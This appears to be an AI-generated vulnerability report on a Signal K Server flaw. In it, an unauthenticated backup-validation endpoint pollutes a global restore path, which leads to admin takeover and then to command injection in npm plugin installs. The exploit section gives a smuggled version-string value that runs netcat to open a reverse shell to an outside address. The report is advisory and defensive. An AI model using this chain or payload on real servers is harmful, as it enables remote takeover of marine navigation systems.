CVEReports
Reports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Reports
  • Sitemap
  • RSS Feed

Company

  • About
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Powered by Google Gemini & CVE Feed

|
•

CVE-2025-66398
CVSS 9.6|EPSS 0.04%

Sinking the Ship: Signal K Server State Pollution to RCE

Alon Barad
Alon Barad
Software Engineer•January 2, 2026•6 min read
PoC Available

Executive Summary (TL;DR)

Signal K Server stored the path to a backup file in a global module variable. Unauthenticated attackers could upload a malicious backup, overwriting this variable. When a legitimate admin later triggered a restore, the server would use the attacker's file instead, leading to account takeover and eventual RCE via a separate command injection bug in the package manager.

A critical vulnerability in Signal K Server allows unauthenticated attackers to pollute a global variable used during backup restoration. By hijacking this shared state, an attacker can overwrite server configurations, gain administrative privileges, and chain a secondary command injection flaw to achieve full Remote Code Execution (RCE).

The Hook: Mutiny on the Node.js Bounty

Signal K Server is the open-source nervous system for modern marine electronics. It takes data from your NMEA 2000 bus—GPS coordinates, engine temps, wind speed—and serves it up via JSON for apps and displays. It’s the kind of software you definitely want running securely when you're 50 miles offshore.

But in versions prior to 2.19.0, Signal K suffered from a vulnerability that is the architectural equivalent of leaving the bridge unlocked and the autopilot controls routed to a kiosk in the passenger lounge. This wasn't a complex buffer overflow or a heap grooming masterpiece. It was a fundamental misunderstanding of how Node.js modules work.

Combined with a lack of authentication on critical endpoints, this flaw allows a stowaway (unauthenticated attacker) to silently sabotage the ship's configuration, wait for the captain (admin) to try and fix it, and then steal the ship entirely. It’s a race condition where the attacker places a banana peel, and the admin inevitably slips on it.

The Flaw: The Global Variable of Doom

To understand this bug, you need to understand Node.js module caching. When you require() a file in Node, it runs once. Any variables defined at the top level of that module are singletons—they persist in memory and are shared across every single HTTP request that hits that server. They are effectively global variables.

In src/serverroutes.ts, the developer defined a variable called restoreFilePath at the module level. This variable was intended to temporarily hold the path to an extracted ZIP file during a two-step backup restoration process:

  1. Step 1: User uploads ZIP -> Server extracts it -> Server saves path to restoreFilePath.
  2. Step 2: User clicks "Restore" -> Server reads restoreFilePath -> Server overwrites config.

The fatal flaw? Concurrency. Because restoreFilePath is global, if User A uploads a backup, and then User B clicks restore, User B gets User A's backup. Even worse, Step 1 (/skServer/validateBackup) had no authentication middleware. An attacker could spam the server with malicious backup paths, ensuring that the global variable always points to their payload.

The Code: Anatomy of the Mistake

Let's look at the vulnerable code in src/serverroutes.ts. It's a textbook example of why state shouldn't live in modules.

Vulnerable Code (Simplified):

// src/serverroutes.ts
let restoreFilePath; // <--- THE ROOT CAUSE. Shared by everyone.
 
// Step 1: Unauthenticated!
app.post('/skServer/validateBackup', (req, res) => {
  // Extracts zip to temp dir...
  restoreFilePath = extractedDir; // Pollution happens here
  res.send({ result: 'ok' });
});
 
// Step 2: Authenticated Admin
app.post('/skServer/restore', (req, res) => {
   // Uses the polluted path blindly
   restoreConfig(restoreFilePath);
});

The fix, implemented in version 2.19.0, moves from a global variable to a Session Map. This ensures that the restoration path is tied to a specific user session via a cookie, preventing cross-user pollution.

Patched Code:

// The Fix: Use a Map to store state per session
const restoreSessions = new Map<string, string>();
 
app.post('/skServer/validateBackup', (req, res) => {
  // Generate unique ID
  const sessionId = Date.now() + '_' + Math.random();
  restoreSessions.set(sessionId, extractedDir);
  
  // Send ID back as HttpOnly cookie
  res.cookie('restoreSession', sessionId, { httpOnly: true });
});

The Exploit: From Zip File to Root Shell

This isn't just a Denial of Service; it's a full takeover. Here is how an attacker chains this state pollution into Remote Code Execution.

Stage 1: The Trap

The attacker crafts a malicious ZIP file containing a security.json file. This JSON defines the admin users. The attacker adds their own credentials to it. They send this ZIP to /skServer/validateBackup. The server extracts it to /tmp/pwn and sets restoreFilePath = '/tmp/pwn'.

Stage 2: The Waiting Game

The attacker waits. Maybe they cause some minor chaos (DoS) to encourage the admin to restore a backup. The moment a legitimate admin logs in and clicks "Restore Configuration," the server reads the polluted restoreFilePath. Instead of restoring the admin's backup, it restores the attacker's security.json.

Stage 3: Escalation to RCE

Now the attacker can log in as an administrator. But we want a shell. Signal K has an "App Store" feature managed in src/modules.ts. It allows admins to install plugins via npm.

The runNpm function historically used spawn in a way that allowed shell interpretation:

// Old vulnerable code in src/modules.ts
const child = spawn(command, args, { shell: true });
// or implicit shell usage via command concatenation

The attacker installs a plugin but modifies the version string to include shell commands: 1.0.0 & nc -e /bin/sh 10.0.0.1 4444. The server executes npm install plugin@1.0.0 & nc ..., and the attacker catches a reverse shell running as the Signal K user.

The Impact: Ghost Ship

The impact here is catastrophic for any vessel relying on Signal K for operations.

  1. Full System Compromise: The attacker has RCE. They can read all files, access the underlying OS, and pivot to other devices on the network.
  2. Navigation Spoofing: An attacker could inject false NMEA data, altering GPS coordinates or depth readings displayed on the bridge.
  3. Physical Damage: If the server controls switching (via NMEA 2000 relays), an attacker could theoretically turn on pumps, lights, or disable alarms.

Since this starts with an unauthenticated request, any Signal K server exposed to the internet is an immediate target. Shodan scans often reveal these servers running on port 3000 without protection.

Mitigation: Plugging the Leaks

The remediation is straightforward: Update to Signal K Server v2.19.0 immediately.

The patch introduces three critical layers of defense:

  1. Authentication: Both /validateBackup and /restore now require a valid admin session.
  2. State Isolation: The global variable is replaced with a Map, keyed by a session ID stored in a cookie. Attacker A cannot influence Admin B's restore path.
  3. Safe Spawning: The command injection in runNpm was fixed by passing arguments as an array to spawn, bypassing the shell interpreter entirely.

If you cannot patch immediately, ensure your Signal K server is behind a VPN (like Tailscale) and strictly firewall port 3000 from the public internet. This exploit requires network access to the HTTP interface; cutting that off neutralizes the threat.

Official Patches

Signal KRelease notes for version 2.19.0 containing the fix

Fix Analysis (1)

Technical Appendix

CVSS Score
9.6/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Signal K Server < 2.19.0

Affected Versions Detail

ProductAffected VersionsFixed Version
Signal K Server
Signal K
< 2.19.02.19.0
AttributeDetail
CWE IDCWE-1329 (Reliance on Component State)
Secondary CWECWE-78 (OS Command Injection)
CVSS Score9.6 (Critical)
Attack VectorNetwork (Unauthenticated)
ImpactRemote Code Execution (RCE)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1098Account Manipulation
Persistence
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-662
Improper Synchronization

Exploit Resources

Known Exploits & Detection

GitHub Security AdvisoryAdvisory detailing the state pollution and RCE chain

Vulnerability Timeline

Vulnerability Timeline

Vulnerability patched in commit 5c211ea
2025-01-14
Version 2.19.0 released
2025-01-15
GitHub Advisory Published
2025-01-15

References & Sources

  • [1]GHSA-w3x5-7c4c-66p9: Remote Code Execution via Restore State Pollution

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.